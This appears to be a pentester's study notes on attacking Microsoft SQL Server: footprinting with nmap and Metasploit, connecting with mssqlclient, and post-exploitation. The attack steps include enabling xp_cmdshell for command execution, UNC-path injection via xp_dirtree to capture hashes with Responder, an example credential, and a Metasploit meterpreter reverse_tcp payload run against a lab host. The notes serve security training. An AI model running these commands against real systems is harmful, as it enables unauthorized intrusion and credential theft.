# Port 1433 - MSSQL [Microsoft SQL](https://www.microsoft.com/en-us/sql-server/sql-server-2019) (`MSSQL`) is Microsoft's SQL-based relational database management system. Unlike MySQL, which we discussed in the last section, MSSQL is closed source and was initially written to run on Windows operating systems. It is popular among database administrators and developers when building applications that run on Microsoft's .NET framework due to its strong native support for .NET. There are versions of MSSQL that will run on Linux and MacOS, but we will more likely come across MSSQL instances on targets running Windows. ### **MSSQL Clients** [SQL Server Management Studio](https://docs.microsoft.com/en-us/sql/ssms/download-sql-server-management-studio-ssms?view=sql-server-ver15) (`SSMS`) comes as a feature that can be installed with the MSSQL install package or can be downloaded & installed separately. It is commonly installed on the server for initial configuration and long-term management of databases by admins. Keep in mind that since SSMS is a client-side application, it can be installed and used on any system an admin or developer is planning to manage the database from. It doesn't only exist on the server hosting the database. This means we could come across a vulnerable system with SSMS with saved credentials that allow us to connect to the database. The image below shows SSMS in action. ![SSMS](https://academy.hackthebox.com/storage/modules/112/ssms.png) Many other clients can be used to access a database running on MSSQL. Including but not limited to: | | | | | | | --------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------- | ------------------------------------- | --------------------------------------- | ----------------------------------------------------------------------------------------------------------- | | [mssql-cli](https://docs.microsoft.com/en-us/sql/tools/mssql-cli?view=sql-server-ver15) | [SQL Server PowerShell](https://docs.microsoft.com/en-us/sql/powershell/sql-server-powershell?view=sql-server-ver15) | [HeidiSQL](https://www.heidisql.com/) | [SQLPro](https://www.macsqlclient.com/) | [Impacket's mssqlclient.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/mssqlclient.py) | Of the MSSQL clients listed above, pentesters may find Impacket's mssqlclient.py to be the most useful due to SecureAuthCorp's Impacket project being present on many pentesting distributions at install. To find if and where the client is located on our host, we can use the following command: MSSQL ```shell-session ammartiger_1@htb[/htb]$ locate mssqlclient /usr/bin/impacket-mssqlclient /usr/share/doc/python3-impacket/examples/mssqlclient.py ``` ### **MSSQL Databases** MSSQL has default system databases that can help us understand the structure of all the databases that may be hosted on a target server. Here are the default databases and a brief description of each: | Default System Database | Description | | ----------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | `master` | Tracks all system information for an SQL server instance | | `model` | Template database that acts as a structure for every new database created. Any setting changed in the model database will be reflected in any new database created after changes to the model database | | `msdb` | The SQL Server Agent uses this database to schedule jobs & alerts | | `tempdb` | Stores temporary objects | | `resource` | Read-only database containing system objects included with SQL server | Table source: [System Databases Microsoft Doc](https://docs.microsoft.com/en-us/sql/relational-databases/databases/system-databases?view=sql-server-ver15) *** ### Default Configuration When an admin initially installs and configures MSSQL to be network accessible, the SQL service will likely run as `NT SERVICE\MSSQLSERVER`. Connecting from the client-side is possible through Windows Authentication, and by default, encryption is not enforced when attempting to connect. ![SSMS](https://academy.hackthebox.com/storage/modules/112/auth.png) Authentication being set to `Windows Authentication` means that the underlying Windows OS will process the login request and use either the local SAM database or the domain controller (hosting Active Directory) before allowing connectivity to the database management system. Using Active Directory can be ideal for auditing activity and controlling access in a Windows environment, but if an account is compromised, it could lead to privilege escalation and lateral movement across a Windows domain environment. Like with any OS, service, server role, or application, it can be beneficial to set it up in a VM from installation to configuration to understand all the default configurations and potential mistakes that the administrator could make. *** ### Dangerous Settings It can be beneficial to place ourselves in the perspective of an IT administrator when we are on an engagement. This mindset can help us remember to look for various settings that may have been misconfigured or configured in a dangerous manner by an admin. A workday in IT can be rather busy, with lots of different projects happening simultaneously and the pressure to perform with speed & accuracy being a reality in many organizations, mistakes can be easily made. It only takes one tiny misconfiguration that could compromise a critical server or service on the network. This applies to just about every network service and server role that can be configured, including MSSQL. This is not an extensive list because there are countless ways MSSQL databases can be configured by admins based on the needs of their respective organizations. We may benefit from looking into the following: * MSSQL clients not using encryption to connect to the MSSQL server * The use of self-signed certificates when encryption is being used. It is possible to spoof self-signed certificates * The use of [named pipes](https://docs.microsoft.com/en-us/sql/tools/configuration-manager/named-pipes-properties?view=sql-server-ver15) * Weak & default `sa` credentials. Admins may forget to disable this account *** ### Footprinting the Service There are many ways we can approach footprinting the MSSQL service, the more specific we can get with our scans, the more useful information we will be able to gather. NMAP has default mssql scripts that can be used to target the default tcp port `1433` that MSSQL listens on. The scripted NMAP scan below provides us with helpful information. We can see the `hostname`, `database instance name`, `software version of MSSQL` and `named pipes are enabled`. We will benefit from adding these discoveries to our notes. #### **NMAP MSSQL Script Scan** ```shell-session ammartiger_1@htb[/htb]$ sudo nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 10.129.201.248 Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-08 09:40 EST Nmap scan report for 10.129.201.248 Host is up (0.15s latency). PORT STATE SERVICE VERSION 1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM | ms-sql-ntlm-info: | Target_Name: SQL-01 | NetBIOS_Domain_Name: SQL-01 | NetBIOS_Computer_Name: SQL-01 | DNS_Domain_Name: SQL-01 | DNS_Computer_Name: SQL-01 |_ Product_Version: 10.0.17763 Host script results: | ms-sql-dac: |_ Instance: MSSQLSERVER; DAC port: 1434 (connection failed) | ms-sql-info: | Windows server name: SQL-01 | 10.129.201.248\MSSQLSERVER: | Instance name: MSSQLSERVER | Version: | name: Microsoft SQL Server 2019 RTM | number: 15.00.2000.00 | Product: Microsoft SQL Server 2019 | Service pack level: RTM | Post-SP patches applied: false | TCP port: 1433 | Named pipe: \\10.129.201.248\pipe\sql\query |_ Clustered: false Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.52 seconds ``` We can also use Metasploit to run an auxiliary scanner called `mssql_ping` that will scan the MSSQL service and provide helpful information in our footprinting process. #### **MSSQL Ping in Metasploit** ```shell-session msf6 auxiliary(scanner/mssql/mssql_ping) > set rhosts 10.129.201.248 rhosts => 10.129.201.248 msf6 auxiliary(scanner/mssql/mssql_ping) > run [*] 10.129.201.248: - SQL Server information for 10.129.201.248: [+] 10.129.201.248: - ServerName = SQL-01 [+] 10.129.201.248: - InstanceName = MSSQLSERVER [+] 10.129.201.248: - IsClustered = No [+] 10.129.201.248: - Version = 15.0.2000.5 [+] 10.129.201.248: - tcp = 1433 [+] 10.129.201.248: - np = \\SQL-01\pipe\sql\query [*] 10.129.201.248: - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed ``` **Connecting with Mssqlclient.py** If we can guess or gain access to credentials, this allows us to remotely connect to the MSSQL server and start interacting with databases using T-SQL (`Transact-SQL`). Authenticating with MSSQL will enable us to interact directly with databases through the SQL Database Engine. From Pwnbox or a personal attack host, we can use Impacket's mssqlclient.py to connect as seen in the output below. Once connected to the server, it may be good to get a lay of the land and list the databases present on the system. MSSQL ```shell-session ammartiger_1@htb[/htb]$ python3 mssqlclient.py Administrator@10.129.201.248 -windows-auth Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation Password: [*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(SQL-01): Line 1: Changed database context to 'master'. [*] INFO(SQL-01): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (150 7208) [!] Press help for extra shell commands SQL> select name from sys.databases name -------------------------------------------------------------------------------------- master tempdb model msdb Transactions ``` ### Post Exploitation #### Authentication with Creds ``` Impacket-mssqlclient klendathu.vl/zim:football22@10.10.179.150 -windows-auth ``` #### RCE in MSSQL #### xp\_cmdshell First We can try to enable xp\_cmdshell and then run commands easily ``` enable_xp_cmdshell # this enables xp_cmdshell xp_cmdshell whoami # whoami command works ``` **The following two functions also allow remote share. We can try to connect with remote share and get a hash on responder** #### UNC Path Injection (xp\_dirtree) we can use xp\_dirtree to authenticate to our own smb share, in this case we will be able to get the hash of the sql server user and then we can either relay the hash or crack the hash ``` # On MSSQL Server xp_dirtree //10.10.8.85/doesnotexists # OR exec master.sys.xp_dirtree '\\10.10.8.85\doesnotexists',1,1 # On kali Linux sudo responder -I tun0 # you should get a hash on your responder ``` #### xp\_fileexist && sys.dm\_os\_file\_exists we can use file excist as well, and sys.dm\_os\_file\_exists to. In SQL Server 2017 xp\_fileexist was replaced by a dynamic funtion called sys.dm\_os\_file\_exists ``` xp_fileexist 'C:\' # Change this exec master.dbo.xp_fileExist 'adsnt.dll' # To this SELECT * FROM sys.dm_os_file_exists ('adsnt.dll') ```
### Exploiting MSSQL server 2012 sp3 ``` ┌──(root㉿INE)-[~] └─# sudo nmap -sC -sV -O target.ine.local Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-14 17:55 IST Stats: 0:01:22 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan NSE Timing: About 98.48% done; ETC: 17:56 (0:00:00 remaining) Nmap scan report for target.ine.local (10.5.24.70) Host is up (0.0022s latency). Not shown: 991 closed tcp ports (reset) PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds 1433/tcp open ms-sql-s Microsoft SQL Server 2012 11.00.6020.00; SP3 | ms-sql-info: | 10.5.24.70\MSSQLSERVER: | Instance name: MSSQLSERVER | Version: | name: Microsoft SQL Server 2012 SP3 | number: 11.00.6020.00 | Product: Microsoft SQL Server 2012 | Service pack level: SP3 | Post-SP patches applied: false | TCP port: 1433 |_ Clustered: false | ms-sql-ntlm-info: | 10.5.24.70\MSSQLSERVER: | Target_Name: WIN-5BQ22OKH4SO | NetBIOS_Domain_Name: WIN-5BQ22OKH4SO | NetBIOS_Computer_Name: WIN-5BQ22OKH4SO | DNS_Domain_Name: WIN-5BQ22OKH4SO ``` Now that we know **MSSQL Server** is running on **port 1433**, and the version is **SQL Server 2012 (11.00.6020.00; SP3)**, we can search for an exploit based on this version. we have a MSSQL vulnerability available in metasploit available. To do this, we can use **Metasploit**. Start Metasploit by typing: `msfconsole` use metasploit. Once inside Metasploit, search for available exploits related to **MSSQL 2012** using `search MSSQL 2012` * Selected the exploit and set parameters: ``` set payload windows/x64/meterpreter/reverse_tcp set RHOSTS target.ine.local run ``` and we have a session.